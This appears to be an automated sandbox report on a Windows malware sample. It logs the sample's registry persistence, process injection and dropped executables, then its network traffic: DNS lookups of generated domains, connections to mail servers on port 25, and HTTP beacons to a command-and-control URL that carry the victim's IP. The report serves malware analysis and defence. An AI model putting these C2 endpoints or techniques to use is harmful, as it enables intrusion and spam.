File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_ca7ec133e2786d8f\about_remote_output.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_es-es_1d72a0e2bb459532\about_operators.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_es-es_27c74b34efa6572d\about_Windows_PowerShell_ISE.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_ca7ec133e2786d8f\about_pipelines.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_it-it_b4a6b77ab9aa530d\about_Core_Commands.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_it-it_45286e597214a485\404-13.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_it-it_45286e597214a485\500-18.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_e74ded66652fb660\403-5.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_it-it_aa520d2885499112\about_Quoting_Rules.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..rastructureconsumer_31bf3856ad364e35_6.1.7601.17514_none_1202940e4711971e\Rules.System.Disk.xml	smnss.exe
File opened for modification	C:\Windows\servicing\Editions\StarterEdition.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_es-es_27c74b34efa6572d\Microsoft.PowerShell.Commands.Diagnostics.dll-Help.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_56cc3687acc564e8\about_join.help.txt	smnss.exe
File opened for modification	C:\Windows\PLA\Rules\en-US\Rules.System.Configuration.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_de-de_74b66e05cc4097c8\about_jobs.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_de-de_74b66e05cc4097c8\about_WMI_Cmdlets.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c02a16e1ae17ab94\about_requires.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_ca7ec133e2786d8f\about_arrays.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..econsumer.resources_31bf3856ad364e35_6.1.7600.16385_en-us_11b07c1bb446e787\Rules.System.Diagnostics.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_es-es_1d72a0e2bb459532\about_Parsing.help.txt	smnss.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smnss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ctfmen.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32\ = "C:\\Windows\\SysWow64\\shervans.dll"	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32\ = "C:\\Windows\\SysWow64\\shervans.dll"	smnss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	smnss.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
2808	smnss.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 2244	2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe	30
PID 2516 wrote to memory of 2244	2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe	30
PID 2516 wrote to memory of 2244	2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe	30
PID 2516 wrote to memory of 2244	2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe	30
PID 2244 wrote to memory of 2808	2244	ctfmen.exe	31
PID 2244 wrote to memory of 2808	2244	ctfmen.exe	31
PID 2244 wrote to memory of 2808	2244	ctfmen.exe	31
PID 2244 wrote to memory of 2808	2244	ctfmen.exe	31

C:\Users\Admin\AppData\Local\Temp\7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
"C:\Users\Admin\AppData\Local\Temp\7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Maps connected drives based on registry
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\SysWOW64\ctfmen.exe
  ctfmen.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\SysWOW64\smnss.exe
    C:\Windows\system32\smnss.exe
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Enumerates connected drives
    - Maps connected drives based on registry
    - Drops file in System32 directory
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2808

Network

DNS

shhwahrnen.biz

smnss.exe

Remote address:

8.8.8.8:53

Request

shhwahrnen.biz

IN A

Response
DNS

gzip.org

smnss.exe

Remote address:

8.8.8.8:53

Request

gzip.org

IN MX

Response

gzip.org

IN MX

�
DNS

gzip.org

smnss.exe

Remote address:

8.8.8.8:53

Request

gzip.org

IN A

Response

gzip.org

IN A

85.187.148.2
DNS

alumni.caltech.edu

smnss.exe

Remote address:

8.8.8.8:53

Request

alumni.caltech.edu

IN MX

Response

alumni.caltech.edu

IN MX

alumni-caltech-edumail protectionoutlookcom
DNS

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

Remote address:

8.8.8.8:53

Request

alumni-caltech-edu.mail.protection.outlook.com

IN A

Response

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.11.3

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.41.3

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.194.12

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.41.0
DNS

megginson.com

smnss.exe

Remote address:

8.8.8.8:53

Request

megginson.com

IN MX

Response

megginson.com

IN MX

aspmx5 googlemail�

megginson.com

IN MX

aspmx3�4

megginson.com

IN MX

aspmxlgoogle�

megginson.com

IN MX

alt1�f

megginson.com

IN MX

aspmx4�4

megginson.com

IN MX

alt2�f

megginson.com

IN MX

aspmx2�4
DNS

aspmx5.googlemail.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aspmx5.googlemail.com

IN A

Response

aspmx5.googlemail.com

IN A

142.250.150.26
DNS

aspmx5.googlemail.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aspmx5.googlemail.com

IN A

Response

aspmx5.googlemail.com

IN A

142.250.150.26
DNS

jk.uni-linz.ac.at

smnss.exe

Remote address:

8.8.8.8:53

Request

jk.uni-linz.ac.at

IN MX

Response

jk.uni-linz.ac.at

IN MX

mail4edvz�

jk.uni-linz.ac.at

IN MX

mail2�7

jk.uni-linz.ac.at

IN MX

mail3�7

jk.uni-linz.ac.at

IN MX

mail1�7
DNS

mail4.edvz.uni-linz.ac.at

smnss.exe

Remote address:

8.8.8.8:53

Request

mail4.edvz.uni-linz.ac.at

IN A

Response

mail4.edvz.uni-linz.ac.at

IN A

140.78.3.82
DNS

namnmhhwpn.us

smnss.exe

Remote address:

8.8.8.8:53

Request

namnmhhwpn.us

IN A

Response
DNS

hhshemnawn.net

smnss.exe

Remote address:

8.8.8.8:53

Request

hhshemnawn.net

IN A

Response
DNS

cdata.tvnet.hu

smnss.exe

Remote address:

8.8.8.8:53

Request

cdata.tvnet.hu

IN MX

Response

cdata.tvnet.hu

IN MX

�
DNS

attbi.com

smnss.exe

Remote address:

8.8.8.8:53

Request

attbi.com

IN MX

Response
DNS

cdata.tvnet.hu

smnss.exe

Remote address:

8.8.8.8:53

Request

cdata.tvnet.hu

IN A

Response
DNS

courtesan.com

smnss.exe

Remote address:

8.8.8.8:53

Request

courtesan.com

IN MX

Response

courtesan.com

IN MX

millertdev
DNS

courtesan.com

smnss.exe

Remote address:

8.8.8.8:53

Request

courtesan.com

IN MX
DNS

bigelowandholmes.com

smnss.exe

Remote address:

8.8.8.8:53

Request

bigelowandholmes.com

IN MX

Response
DNS

nmhpnnqsns.us

smnss.exe

Remote address:

8.8.8.8:53

Request

nmhpnnqsns.us

IN A

Response
DNS

millert.dev

smnss.exe

Remote address:

8.8.8.8:53

Request

millert.dev

IN A

Response

millert.dev

IN A

65.102.237.118
DNS

shphmshesn.biz

smnss.exe

Remote address:

8.8.8.8:53

Request

shphmshesn.biz

IN A

Response
DNS

gnu.org

smnss.exe

Remote address:

8.8.8.8:53

Request

gnu.org

IN MX

Response

gnu.org

IN MX

eggs�
DNS

eggs.gnu.org

smnss.exe

Remote address:

8.8.8.8:53

Request

eggs.gnu.org

IN A

Response

eggs.gnu.org

IN A

209.51.188.92
DNS

pmpmsssrsh.in

smnss.exe

Remote address:

8.8.8.8:53

Request

pmpmsssrsh.in

IN A

Response
DNS

eqqswnrqwh.ws

smnss.exe

Remote address:

8.8.8.8:53

Request

eqqswnrqwh.ws

IN A

Response

eqqswnrqwh.ws

IN A

64.70.19.203
GET

http://eqqswnrqwh.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS

smnss.exe

Remote address:

64.70.19.203:80

Request

GET /imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS HTTP/1.1
Host: eqqswnrqwh.ws
User-Agent: explwer
DNS

qesrphwwqh.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qesrphwwqh.info

IN A

Response
DNS

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

Remote address:

8.8.8.8:53

Request

alumni-caltech-edu.mail.protection.outlook.com

IN A

Response

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.10.2

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.40.6

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.9.0

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.42.13
DNS

mhsrnnapqs.in

smnss.exe

Remote address:

8.8.8.8:53

Request

mhsrnnapqs.in

IN A

Response
DNS

pmhaammqwa.in

smnss.exe

Remote address:

8.8.8.8:53

Request

pmhaammqwa.in

IN A

Response
DNS

speqaawsaa.biz

smnss.exe

Remote address:

8.8.8.8:53

Request

speqaawsaa.biz

IN A

Response
DNS

aspmx3.googlemail.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aspmx3.googlemail.com

IN A

Response

aspmx3.googlemail.com

IN A

142.250.153.26
DNS

aspmx3.googlemail.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aspmx3.googlemail.com

IN A

Response

aspmx3.googlemail.com

IN A

142.250.153.27
DNS

mail2.edvz.uni-linz.ac.at

smnss.exe

Remote address:

8.8.8.8:53

Request

mail2.edvz.uni-linz.ac.at

IN A

Response

mail2.edvz.uni-linz.ac.at

IN A

140.78.3.69
DNS

nshemqhqwa.us

smnss.exe

Remote address:

8.8.8.8:53

Request

nshemqhqwa.us

IN A

Response
DNS

sshmwenmpa.biz

smnss.exe

Remote address:

8.8.8.8:53

Request

sshmwenmpa.biz

IN A

Response
DNS

nppqremann.us

smnss.exe

Remote address:

8.8.8.8:53

Request

nppqremann.us

IN A

Response
DNS

hhasmewssn.net

smnss.exe

Remote address:

8.8.8.8:53

Request

hhasmewssn.net

IN A

Response
DNS

qesmnenehh.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qesmnenehh.info

IN A

Response
DNS

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

Remote address:

8.8.8.8:53

Request

alumni-caltech-edu.mail.protection.outlook.com

IN A

Response

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.41.54

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.194.19

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.8.36

alumni-caltech-edu.mail.protection.outlook.com

IN A

52.101.41.28
DNS

coin.mpg

smnss.exe

Remote address:

8.8.8.8:53

Request

coin.mpg

IN MX

Response
DNS

wrmapmhana.in

smnss.exe

Remote address:

8.8.8.8:53

Request

wrmapmhana.in

IN A

Response
DNS

domain.com

smnss.exe

Remote address:

8.8.8.8:53

Request

domain.com

IN MX

Response

domain.com

IN MX

domain-commail protectionoutlook�
DNS

domain-com.mail.protection.outlook.com

smnss.exe

Remote address:

8.8.8.8:53

Request

domain-com.mail.protection.outlook.com

IN A

Response

domain-com.mail.protection.outlook.com

IN A

52.101.41.54

domain-com.mail.protection.outlook.com

IN A

52.101.8.36

domain-com.mail.protection.outlook.com

IN A

52.101.41.28

domain-com.mail.protection.outlook.com

IN A

52.101.194.19
DNS

aswpeaaehn.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aswpeaaehn.com

IN A

Response
DNS

wewsnamnpa.in

smnss.exe

Remote address:

8.8.8.8:53

Request

wewsnamnpa.in

IN A

Response
DNS

rasasrqawn.org

smnss.exe

Remote address:

8.8.8.8:53

Request

rasasrqawn.org

IN A

Response

rasasrqawn.org

IN A

162.249.65.106
DNS

aspmx.l.google.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aspmx.l.google.com

IN A

Response

aspmx.l.google.com

IN A

209.85.202.27
DNS

aspmx.l.google.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aspmx.l.google.com

IN A

Response

aspmx.l.google.com

IN A

74.125.193.26
DNS

mail3.edvz.uni-linz.ac.at

smnss.exe

Remote address:

8.8.8.8:53

Request

mail3.edvz.uni-linz.ac.at

IN A

Response

mail3.edvz.uni-linz.ac.at

IN A

140.78.3.83
DNS

wneeawrwsa.in

smnss.exe

Remote address:

8.8.8.8:53

Request

wneeawrwsa.in

IN A

Response
DNS

qnqhneaphh.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qnqhneaphh.info

IN A

Response
DNS

hmhhqmpmes.net

smnss.exe

Remote address:

8.8.8.8:53

Request

hmhhqmpmes.net

IN A

Response
DNS

qwqwswshqs.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qwqwswshqs.info

IN A

Response
DNS

wnpnwwmhqs.in

smnss.exe

Remote address:

8.8.8.8:53

Request

wnpnwwmhqs.in

IN A

Response
DNS

ammnmanewa.com

smnss.exe

Remote address:

8.8.8.8:53

Request

ammnmanewa.com

IN A

Response
DNS

hwhnpreaah.net

smnss.exe

Remote address:

8.8.8.8:53

Request

hwhnpreaah.net

IN A

Response
DNS

qwenephqma.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qwenephqma.info

IN A

Response
DNS

empanhrewn.ws

smnss.exe

Remote address:

8.8.8.8:53

Request

empanhrewn.ws

IN A

Response

empanhrewn.ws

IN A

64.70.19.203
GET

http://empanhrewn.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS

smnss.exe

Remote address:

64.70.19.203:80

Request

GET /imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS HTTP/1.1
Host: empanhrewn.ws
User-Agent: explwer
DNS

awmmahqnnr.com

smnss.exe

Remote address:

8.8.8.8:53

Request

awmmahqnnr.com

IN A

Response
DNS

alt1.aspmx.l.google.com

smnss.exe

Remote address:

8.8.8.8:53

Request

alt1.aspmx.l.google.com

IN A

Response

alt1.aspmx.l.google.com

IN A

142.250.27.26
DNS

alt1.aspmx.l.google.com

smnss.exe

Remote address:

8.8.8.8:53

Request

alt1.aspmx.l.google.com

IN A

Response

alt1.aspmx.l.google.com

IN A

142.250.27.26
DNS

mail1.edvz.uni-linz.ac.at

smnss.exe

Remote address:

8.8.8.8:53

Request

mail1.edvz.uni-linz.ac.at

IN A

Response

mail1.edvz.uni-linz.ac.at

IN A

140.78.3.68
DNS

whhhnshqmh.in

smnss.exe

Remote address:

8.8.8.8:53

Request

whhhnshqmh.in

IN A

Response
DNS

anrqpawahs.com

smnss.exe

Remote address:

8.8.8.8:53

Request

anrqpawahs.com

IN A

Response
DNS

mwwhnphnnh.in

smnss.exe

Remote address:

8.8.8.8:53

Request

mwwhnphnnh.in

IN A

Response
DNS

pmwsnaaesr.in

smnss.exe

Remote address:

8.8.8.8:53

Request

pmwsnaaesr.in

IN A

Response
DNS

wwnshwsass.in

smnss.exe

Remote address:

8.8.8.8:53

Request

wwnshwsass.in

IN A

Response
DNS

aqssrqsnwh.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aqssrqsnwh.com

IN A

Response
DNS

wrnqrwamns.in

smnss.exe

Remote address:

8.8.8.8:53

Request

wrnqrwamns.in

IN A

Response
DNS

qnnmwnahha.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qnnmwnahha.info

IN A

Response
DNS

hwphwqpnnh.net

smnss.exe

Remote address:

8.8.8.8:53

Request

hwphwqpnnh.net

IN A

Response
DNS

aspmx4.googlemail.com

smnss.exe

Remote address:

8.8.8.8:53

Request

aspmx4.googlemail.com

IN A

Response

aspmx4.googlemail.com

IN A

142.251.9.27
DNS

pqqannrswn.in

smnss.exe

Remote address:

8.8.8.8:53

Request

pqqannrswn.in

IN A

Response
DNS

ehqnrwwpsa.ws

smnss.exe

Remote address:

8.8.8.8:53

Request

ehqnrwwpsa.ws

IN A

Response

ehqnrwwpsa.ws

IN A

64.70.19.203
GET

http://ehqnrwwpsa.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS

smnss.exe

Remote address:

64.70.19.203:80

Request

GET /imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS HTTP/1.1
Host: ehqnrwwpsa.ws
User-Agent: explwer
DNS

phqawmnaes.in

smnss.exe

Remote address:

8.8.8.8:53

Request

phqawmnaes.in

IN A

Response
DNS

hmawrerqqa.net

smnss.exe

Remote address:

8.8.8.8:53

Request

hmawrerqqa.net

IN A

Response
DNS

qhswmqsnha.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qhswmqsnha.info

IN A

Response
DNS

msshreqpsh.in

smnss.exe

Remote address:

8.8.8.8:53

Request

msshreqpsh.in

IN A

Response
DNS

qamwnmqrnh.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qamwnmqrnh.info

IN A

Response
DNS

hmwapprssa.net

smnss.exe

Remote address:

8.8.8.8:53

Request

hmwapprssa.net

IN A

Response
DNS

qhaanmshrn.info

smnss.exe

Remote address:

8.8.8.8:53

Request

qhaanmshrn.info

IN A

Response
DNS

wahqsnesnh.in

smnss.exe

Remote address:

8.8.8.8:53

Request

wahqsnesnh.in

IN A

Response
DNS

alt2.aspmx.l.google.com

smnss.exe

Remote address:

8.8.8.8:53

Request

alt2.aspmx.l.google.com

IN A

Response

alt2.aspmx.l.google.com

IN A

142.250.153.26
DNS

alt2.aspmx.l.google.com

smnss.exe

Remote address:

8.8.8.8:53

Request

alt2.aspmx.l.google.com

IN A

Response

alt2.aspmx.l.google.com

IN A

142.250.153.27
DNS

peshnqhsea.in

smnss.exe

Remote address:

8.8.8.8:53

Request

peshnqhsea.in

IN A

Response
DNS

wnshehamhh.in

smnss.exe

Remote address:

8.8.8.8:53

Request

wnshehamhh.in

IN A

Response

85.187.148.2:25

gzip.org

smnss.exe

152 B
3
52.101.11.3:25

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

152 B
3
142.250.150.26:25

aspmx5.googlemail.com

smnss.exe

152 B
3
142.250.150.26:25

aspmx5.googlemail.com

smnss.exe

152 B
3
140.78.3.82:25

mail4.edvz.uni-linz.ac.at

smnss.exe

152 B
3
65.102.237.118:25

millert.dev

smnss.exe

152 B
3
85.187.148.2:25

gzip.org

smnss.exe

152 B
3
52.101.11.3:25

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

152 B
3
85.187.148.2:25

gzip.org

smnss.exe

152 B
3
209.51.188.92:25

eggs.gnu.org

smnss.exe

152 B
3
64.70.19.203:80

http://eqqswnrqwh.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS

http

smnss.exe

356 B
168 B
5
4

HTTP Request

GET http://eqqswnrqwh.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS
142.250.150.26:25

aspmx5.googlemail.com

smnss.exe

152 B
3
52.101.10.2:25

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

152 B
3
142.250.150.26:25

aspmx5.googlemail.com

smnss.exe

152 B
3
140.78.3.82:25

mail4.edvz.uni-linz.ac.at

smnss.exe

152 B
3
65.102.237.118:25

millert.dev

smnss.exe

152 B
3
85.187.148.2:25

gzip.org

smnss.exe

152 B
3
52.101.10.2:25

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

152 B
3
142.250.153.26:25

aspmx3.googlemail.com

smnss.exe

152 B
3
85.187.148.2:25

gzip.org

smnss.exe

152 B
3
142.250.153.27:25

aspmx3.googlemail.com

smnss.exe

152 B
3
52.101.10.2:25

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

152 B
3
140.78.3.69:25

mail2.edvz.uni-linz.ac.at

smnss.exe

152 B
3
142.250.150.26:25

aspmx5.googlemail.com

smnss.exe

152 B
3
142.250.150.26:25

aspmx5.googlemail.com

smnss.exe

152 B
3
140.78.3.82:25

mail4.edvz.uni-linz.ac.at

smnss.exe

152 B
3
65.102.237.118:25

millert.dev

smnss.exe

152 B
3
85.187.148.2:25

gzip.org

smnss.exe

152 B
3
52.101.41.54:25

alumni-caltech-edu.mail.protection.outlook.com

smnss.exe

152 B
3
142.250.153.27:25

aspmx3.googlemail.com

smnss.exe

152 B
3
142.250.153.27:25

aspmx3.googlemail.com

smnss.exe

152 B
3
140.78.3.69:25

mail2.edvz.uni-linz.ac.at

smnss.exe

152 B
3
52.101.41.54:25

domain-com.mail.protection.outlook.com

smnss.exe

152 B
3
162.249.65.106:80

rasasrqawn.org

smnss.exe

152 B
120 B
3
3
209.85.202.27:25

aspmx.l.google.com

smnss.exe

152 B
3
74.125.193.26:25

aspmx.l.google.com

smnss.exe

152 B
3
140.78.3.83:25

mail3.edvz.uni-linz.ac.at

smnss.exe

152 B
3
142.250.153.27:25

aspmx3.googlemail.com

smnss.exe

152 B
3
140.78.3.69:25

mail2.edvz.uni-linz.ac.at

smnss.exe

152 B
3
142.250.153.27:25

aspmx3.googlemail.com

smnss.exe

152 B
3
74.125.193.26:25

aspmx.l.google.com

smnss.exe

152 B
3
140.78.3.83:25

mail3.edvz.uni-linz.ac.at

smnss.exe

152 B
3
74.125.193.26:25

aspmx.l.google.com

smnss.exe

152 B
3
64.70.19.203:80

http://empanhrewn.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS

http

smnss.exe

356 B
168 B
5
4

HTTP Request

GET http://empanhrewn.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS
142.250.27.26:25

alt1.aspmx.l.google.com

smnss.exe

152 B
3
142.250.27.26:25

alt1.aspmx.l.google.com

smnss.exe

152 B
3
140.78.3.68:25

mail1.edvz.uni-linz.ac.at

smnss.exe

152 B
3
74.125.193.26:25

aspmx.l.google.com

smnss.exe

152 B
3
140.78.3.83:25

mail3.edvz.uni-linz.ac.at

smnss.exe

152 B
3
74.125.193.26:25

aspmx.l.google.com

smnss.exe

152 B
3
142.250.27.26:25

alt1.aspmx.l.google.com

smnss.exe

152 B
3
142.250.27.26:25

alt1.aspmx.l.google.com

smnss.exe

152 B
3
140.78.3.68:25

mail1.edvz.uni-linz.ac.at

smnss.exe

152 B
3
142.251.9.27:25

aspmx4.googlemail.com

smnss.exe

152 B
3
142.251.9.27:25

aspmx4.googlemail.com

smnss.exe

152 B
3
64.70.19.203:80

http://ehqnrwwpsa.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS

http

smnss.exe

356 B
168 B
5
4

HTTP Request

GET http://ehqnrwwpsa.ws/imgs/krewa/nqxa.php?id=757leqjd&s5=3159&lip=10.127.0.211&win=fWinS
142.250.27.26:25

alt1.aspmx.l.google.com

smnss.exe

152 B
3
140.78.3.68:25

mail1.edvz.uni-linz.ac.at

smnss.exe

152 B
3
142.250.27.26:25

alt1.aspmx.l.google.com

smnss.exe

152 B
3
142.251.9.27:25

aspmx4.googlemail.com

smnss.exe

152 B
3
142.251.9.27:25

aspmx4.googlemail.com

smnss.exe

152 B
3
142.250.153.27:25

alt2.aspmx.l.google.com

smnss.exe

104 B
2
142.250.153.26:25

alt2.aspmx.l.google.com

smnss.exe

104 B
2
142.251.9.27:25

aspmx4.googlemail.com

smnss.exe

52 B
1
142.251.9.27:25

aspmx4.googlemail.com

smnss.exe

52 B
1

8.8.8.8:53

shhwahrnen.biz

dns

smnss.exe

60 B
122 B
1
1

DNS Request

shhwahrnen.biz
8.8.8.8:53

gzip.org

dns

smnss.exe

54 B
70 B
1
1

DNS Request

gzip.org
8.8.8.8:53

gzip.org

dns

smnss.exe

54 B
70 B
1
1

DNS Request

gzip.org

DNS Response

85.187.148.2
8.8.8.8:53

alumni.caltech.edu

dns

smnss.exe

64 B
126 B
1
1

DNS Request

alumni.caltech.edu
8.8.8.8:53

alumni-caltech-edu.mail.protection.outlook.com

dns

smnss.exe

92 B
156 B
1
1

DNS Request

alumni-caltech-edu.mail.protection.outlook.com

DNS Response

52.101.11.3

52.101.41.3

52.101.194.12

52.101.41.0
8.8.8.8:53

megginson.com

dns

smnss.exe

59 B
235 B
1
1

DNS Request

megginson.com
8.8.8.8:53

aspmx5.googlemail.com

dns

smnss.exe

67 B
83 B
1
1

DNS Request

aspmx5.googlemail.com

DNS Response

142.250.150.26
8.8.8.8:53

aspmx5.googlemail.com

dns

smnss.exe

67 B
83 B
1
1

DNS Request

aspmx5.googlemail.com

DNS Response

142.250.150.26
8.8.8.8:53

jk.uni-linz.ac.at

dns

smnss.exe

63 B
156 B
1
1

DNS Request

jk.uni-linz.ac.at
8.8.8.8:53

mail4.edvz.uni-linz.ac.at

dns

smnss.exe

71 B
87 B
1
1

DNS Request

mail4.edvz.uni-linz.ac.at

DNS Response

140.78.3.82
8.8.8.8:53

namnmhhwpn.us

dns

smnss.exe

59 B
122 B
1
1

DNS Request

namnmhhwpn.us
8.8.8.8:53

hhshemnawn.net

dns

smnss.exe

60 B
133 B
1
1

DNS Request

hhshemnawn.net
8.8.8.8:53

cdata.tvnet.hu

dns

smnss.exe

60 B
76 B
1
1

DNS Request

cdata.tvnet.hu
8.8.8.8:53

attbi.com

dns

